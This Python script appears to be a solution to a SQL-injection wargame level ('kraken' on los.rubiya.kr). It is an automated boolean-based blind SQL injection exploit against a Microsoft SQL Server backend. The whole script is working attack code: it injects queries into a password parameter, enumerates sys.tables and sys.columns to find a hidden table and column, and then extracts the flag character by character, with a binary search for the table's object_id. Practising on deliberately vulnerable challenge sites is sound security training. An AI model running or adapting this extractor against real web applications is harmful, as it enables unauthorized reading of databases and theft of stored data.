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import requests
table = ""
column = ""
flag = ""
object_id = 0
length = 0
def testEqual(num):
try:
query = url + "1' or (select object_id from sys.tables where name = '" + table + "') = " + str(num) + " -- "
r = requests.post(query, cookies=session)
except:
print "[-] Error occur"
if 'guest' in r.text:
return True
else:
return False
def testBigger(num):
try:
query = url + "1' or (select object_id from sys.tables where name = '" + table + "') < " + str(num) + " -- "
r = requests.post(query, cookies=session)
except:
print "[-] Error occur"
if 'guest' in r.text:
return True
else:
return False
def search_id(start, end):
if start > end:
return "None"
mid = (start + end) / 2
if testEqual(mid):
return mid
elif testBigger(mid):
end = mid - 1
else:
start = mid + 1
return search_id(start, end)
url = "https://los.rubiya.kr/chall/kraken_647f3513b94339a4c59cf6f9074d0f92.php?id=1&pw="
session = dict(PHPSESSID = "YOUR SESSION ID")
print "[+] Start"
print "[+] Find length of the table"
for i in range(0, 40):
try:
query = url + "1' or len((select name from sys.tables where name like 'flag_%'))=" + str(i) + " -- "
r = requests.post(query, cookies=session)
except:
print "[-] Error occur"
continue
if 'guest' in r.text:
length = i
break
print "[+] Found length : ", length
print "[+] Find table"
for j in range(1, length + 1):
for i in range(48, 128):
try:
query = url + "1' or substring((select name from sys.tables where name like 'flag_%'), " + str(j) + ", 1)='" + chr(i)
r = requests.post(query, cookies=session)
except:
print "[-] Error occur"
continue
if 'guest' in r.text:
table += chr(i)
print "[+] Found " + str(j), ":", table
break
table = table.lower()
print "[+] Found table : ", table
length = 0
print "[+] Find length of the object_id"
for i in range(0, 40):
try:
query = url + "1' or len((select object_id from sys.tables where name = '" + table + "'))=" + str(i) + " -- "
r = requests.post(query, cookies=session)
except:
print "[-] Error occur"
continue
if 'guest' in r.text:
length = i
break
print "[+] Found length : ", length
print "[+] Find object_id"
object_id = search_id(100000000, 999999999)
print "[+] Found object_id : ", object_id
length = 0
print "[+] Find length of the column"
for i in range(0, 100):
try:
query = url + "1' or len((select name from sys.columns where object_id = " + str(object_id) + "))=" + str(i) + " -- "
r = requests.post(query, cookies=session)
except:
print "[-] Error occur"
continue
if 'guest' in r.text:
length = i
break
print "[+] Found length : ", length
print "[+] Find column"
for j in range(1, length + 1):
for i in range(32, 128):
try:
query = url + "1' or substring((select name from sys.columns where object_id = " + str(object_id) + "), " + str(j) + ", 1)='" + chr(i)
r = requests.post(query, cookies=session)
except:
print "[-] Error occur"
continue
if 'guest' in r.text:
column += chr(i)
print "[+] Found " + str(j), ":", column
break
column = column.lower()
print "[+] Found column : ", column
length = 0
print "[+] Find length of the flag"
for i in range(0, 100):
try:
query = url + "1' or len((select " + column + " from " + table + "))=" + str(i) + " -- "
r = requests.post(query, cookies=session)
except:
print "[-] Error occur"
continue
if 'guest' in r.text:
length = i
break
print "[+] Found length : ", length
print "[+] Find flag"
for j in range(1, length + 1):
for i in range(32, 128):
try:
query = url + "1' or substring((select " + column + " from " + table + "), " + str(j) + ", 1)='" + chr(i)
r = requests.post(query, cookies=session)
except:
print "[-] Error occur"
continue
if 'guest' in r.text:
flag += chr(i)
print "[+] Found " + str(j), ":", flag
break
print "[+] Found flag : ", flag.lower()
print "[+] End"
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